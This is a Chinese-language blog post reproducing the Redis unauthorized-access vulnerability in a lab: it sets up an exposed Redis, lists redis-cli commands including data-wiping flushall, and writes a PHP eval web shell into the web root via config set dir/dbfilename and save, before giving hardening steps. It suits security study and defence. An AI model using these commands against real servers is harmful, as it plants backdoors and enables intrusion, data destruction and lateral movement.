redis未授权漏洞复现

1.redis未授权访问定义

  Redis是一个C语言编写的基于key-value类型的高效数据库。

  Redis可以执行一些操作将数据保存到内存之中(这也是为什么效率这么高的原因)。

  同时redis也可以将内存中的数据写入磁盘之中。

2.产生redis未授权访问漏洞的原因

  主要是因为配置不当,导致此漏洞的产生,导致恶意数据写入内存或者磁盘之中,造成更大的危害

  配置不当原因如下:

    redis无密码或者使用弱密码

    redis监听在0.0.0.0

    redis服务以root账户进行

  攻击危害:

    redis数据库中的数据泄露或被恶意删除

    修改服务器的重要文件,控制redis所在的服务器

    配合SSRF进行自动化的蠕虫攻击

3.redis服务的搭建

wget http://download.redis.io/releases/redis-3.2.0.tar.gz   //下载redis的压缩包文件

 

 tar -zxvf redis-3.2.0.tar.gz  //解压缩

 cd redis-3.2.0   //切换目录
 make      //进行编译

 接着生成,一个是redis-server,另一个是redis-cli:

cd src/

make install

 

 cd ..

ls

vi redis.conf

(1)bind 127.0.0.1 前面加上#号    注释掉该行,代表任意机器都可以登录redis

(2)protected-mode设为no     设置为no,以为这关闭安全设置

 

 cd  ./src

redis-server /root/redis-3.2.0/redis.conf        //加载刚刚修改后的配置文件,来启动redis

 

 netstat   -panut  //查看redis启动情况

 

 也可以使用nmap进行探测(攻击机可以是本机或者其他机器)

nmap -A -p 6379  --script  redis-info  127.0.0.1

 

redis-cli  -h  127.0.0.1  //连接redis服务器

info      //测试是否可以执行命令,可以的话就说明存在未授权

 

4.redis常用命令

redis-cli -h ip -p 6379 -a passwd        #连接redis

info                                    #查看redis版本信息等

keys *                                    #列出当前数据库中所有的键

flushall                                #删除所有数据库中的key(谨慎使用)

flushdb                                    #删除当前数据库中的所有Key

slaveof ip port                            #设置主从关系
        
SET key value                            #设置一个键的值

GET key                                    #获取一个建的值

del x                                    #删除名字为” x “的key内容

5.向redis中写入shell
config set dir /var/www/html/                        //切换目录到网站的根目录

set x "\n\n\n<?php phpinfo();?>\n\n\n"                //写入恶意代码到内存中(1)

set xxx "\n\n\n<?php eval(@$_REQUEST['a']);?>\n\n\n"    //写入恶意代码到内存中(2)

config set dbfilename shell.php                        //设置在磁盘中生成木马文件的名字

save                                                //将内存之中的数据导出到磁盘文件

 

 在靶机上查看是否导入成功

 

 开启apache2服务

 

 登录服务器查看,说明上传的木马成功,接下来就可以使用冰蝎,进行远程连接,进行提权之类,以及将此服务器作为跳板,进行内网攻击,横向移动,从而获取更多主机权限

 

 6.修复方法

  redis.conf中配置requirepass项,增加更加复杂的访问密码

  redis.conf中取消bind 127.0.0.1前面的#    //进行本地IP绑定,只允许进行本地访问

  限定可以连接redis服务器的IP

  禁止使用root权限启动redis服务

  修改redis默认端口6379

 

posted @ 2022-03-06 15:02  kalibb  阅读(750)  评论(0)    收藏  举报